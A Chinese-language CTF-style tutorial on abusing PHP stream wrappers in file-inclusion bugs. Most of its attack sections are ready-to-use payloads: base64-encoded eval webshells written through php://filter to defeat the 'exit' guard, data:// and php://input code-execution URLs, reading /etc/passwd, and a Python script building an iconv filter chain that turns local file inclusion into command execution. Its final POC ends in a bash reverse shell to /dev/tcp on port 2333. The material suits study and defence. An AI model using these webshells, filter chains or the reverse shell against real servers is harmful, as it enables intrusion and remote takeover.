一、PHP伪协议种类与函数
PHP支持的伪协议种类
file:
——访问本地文件系统http:
——访问http(s)网站ftp:
——访问FTPphp:
——访问IO流zlib:
——压缩流data:
——数据(RFC 2397)glob:
——查找匹配的文件路径模式phar:
——PHP归档ssh2:
——Secure Shell 2rar:
——RARogg:
——音频流expect:
——处理交互流
一般用于文件包含的函数:
include()
require()
include_once()
require_once()
highlight_file()
show_source()
flie()
readfile()
file_get_contents()
file_put_contents()
fopen()
(比较常见)
二、php://
条件:
allow_url_fopen:off/on
allow_url_include
:仅php://input
、php://stdin
、php://memory
、php://temp
需要on
php://
访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php代码。
三、php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。在读入或写入数据的时候对数据进行处理后输出的一个过程。
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。
协议参数
名称 | 描述 | |
---|---|---|
resource=<Data Streadm> | 必要参数,指定你要过滤的数据流 | |
read=<读链的筛选列表> | 可选参数,可以设定一个或者多个过滤器的名称,用\ | 来分隔 |
write=<写链的筛选列表> | 可选参数,可以设定一个或者多个过滤器的名称,用\ | 来分隔 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
利用filter协议读取文件,将PHP文件用base64编码之后进行输出,即可在文件包含点输出文件源码;若不进行编码,文件包含之后文件内容会被当做代码执行,就不会有输出结果。
过滤器
字符串过滤器
该类通常以string
开头,对每个字符都进行同样方式的处理。string.rot13
:将字符右移十三位string.toupper
:将所有字符转换为大写string.tolower
:将所有字符转换为小写string.strip_tags
:用于处理读入的所有标签,例如XML。用于绕过死亡exit。
转换过滤器
对数据流进行编码,通常用来读取文件源码。convert.base64-encode & convert.base64-decode
:base64加解密。convert.quoted-printable-encode & convert.quoted-printable-decode
:可打印字符引用编码,使用可以打印的ASCII编码的字符表示各种编码形式下的字符。
压缩过滤器
注意,这里的压缩过滤器指的并不是在数据流传入的时候对整个数据进行写入文件后压缩文件,也不代表可以压缩或者解压数据流。压缩过滤器不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
用到的两个相关过滤器:zlib.deflate
(压缩)和 zlib.inflate
(解压)。zilb是比较主流的用法,至于bzip2.compress
和bzip2.decompress
工作的方式与 zlib 过滤器大致相同。
加密过滤器(PHP 7.1.0废弃)
mcrypt.*
和 mdecrypt.*
使用 libmcrypt 提供了对称的加密和解密。
绕过死亡exit
死亡exit
在写入PHP文件的操作时,在文件最前面添加<?php exit();?>
,使得就算用户写入了一句话木马也无法调用执行。通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。
一般采用这种形式:
file_put_contents($content, '<?php exit();'.$content);
如果插入一句话木马:
<?php exit();?>//PHP解释器执行到这就会中断,导致后续一句话木马不能执行。
<?php @eval($_POST['shell']);?>
漏洞场景
<?php
$content = '<?php exit();?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
?>
代码审计
将用户输入的含有PHP代码的数据拼接死亡exit之后写入文件并保存,同时文件的名称也是由用户指定的。若要注入一句话木马,就需要绕过死亡exit。
base64绕过
我们可以利用filter协议的base64转换过滤器进行绕过。
根据的代码审计得出的结果,我们可以知道用户提交一个数据会被拼接死亡exit之后写入文件,从而避免恶意的PHP代码执行。
而php://filter
的convert.base64-decode
方法有一个特性,在遇到不可解码的字符时会选择性的跳过,这个时候base64 就相当于以下过程:
$txt = preg_replace('|[^a-z0-9A-Z+/]|s', '', $txt);
base64_decode($txt);
我们的死亡exit为<?php exit();?>
,中间带的<>?()
和空格等符号都会被除去,剩下的只有phpexit
,Base64是4位一组,我们在我们的一句话木马的Base64编码前加一个'a',使得前凑齐八个字符,不会影响到我们的一句话木马解码,从而使死亡exit失效。
payload:
txt=aPD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==&filename=php://filter/write=convert.base64-decode/resource=shell.php
a
:凑齐4字节添加PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==
:<?php @eval($_POST['shell']);?>
的Base64编码。php://filter/write=convert.base64-decode/resource=shell.php
:将输入文件的流进行Base64解码处理。
strip_tags绕过
这个<?php exit; ?>
实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
但是我们要写入的一句话木马也是XML标签,在用到strip_tags时也会被去除。
注意到在写入文件的时候,filter是支持多个过滤器的。可以先将webshell经过base64编码,strip_tags去除死亡exit之后,再通过base64-decode复原。
payload:
txt=PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
四、php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
例如:http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>
注意:
当enctype="multipart/form-data"
的时候php://input
是无效的。
遇到file_get_contents()
要想到用php://input
绕过。
五、data://
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
示例
data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
通过包含函数可以执行一些PHP代码,产生RCE漏洞。
六、file://
用于访问本地文件系统,并且不受allow_url_fopen
,allow_url_include
影响。file://
协议主要用于访问文件(绝对路径、相对路径以及网络路径) 。
比如:http://www.xx.com?file=file:///etc/passsword
七、zip://
zip://
可以访问压缩包里面的文件。当它与包含函数结合时,zip://
流会被当作php文件执行。从而实现任意代码执行。zip://
中只能传入绝对路径。要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23。只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://
和bzip2://
八、特性
当PHP伪协议遇到未知的协议键时,会尝试将其忽略以执行正确的部分。
例题:[[EZSSRF]]
九、include getshell
LFI的终点。
原理:通过PHP伪协议的字符集转换功能拼接出目标payload的base64字符串
Script:
import requests
url = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
POC:
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC%5fP27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859%5f4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT%5fJISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT%5fJISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859%5f3.UTF16|convert.iconv.863.SHIFT%5fJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT%5fJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT%5fJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&1=system('bash -c "bash -i >& /dev/tcp/[ip]/2333 0>&1"');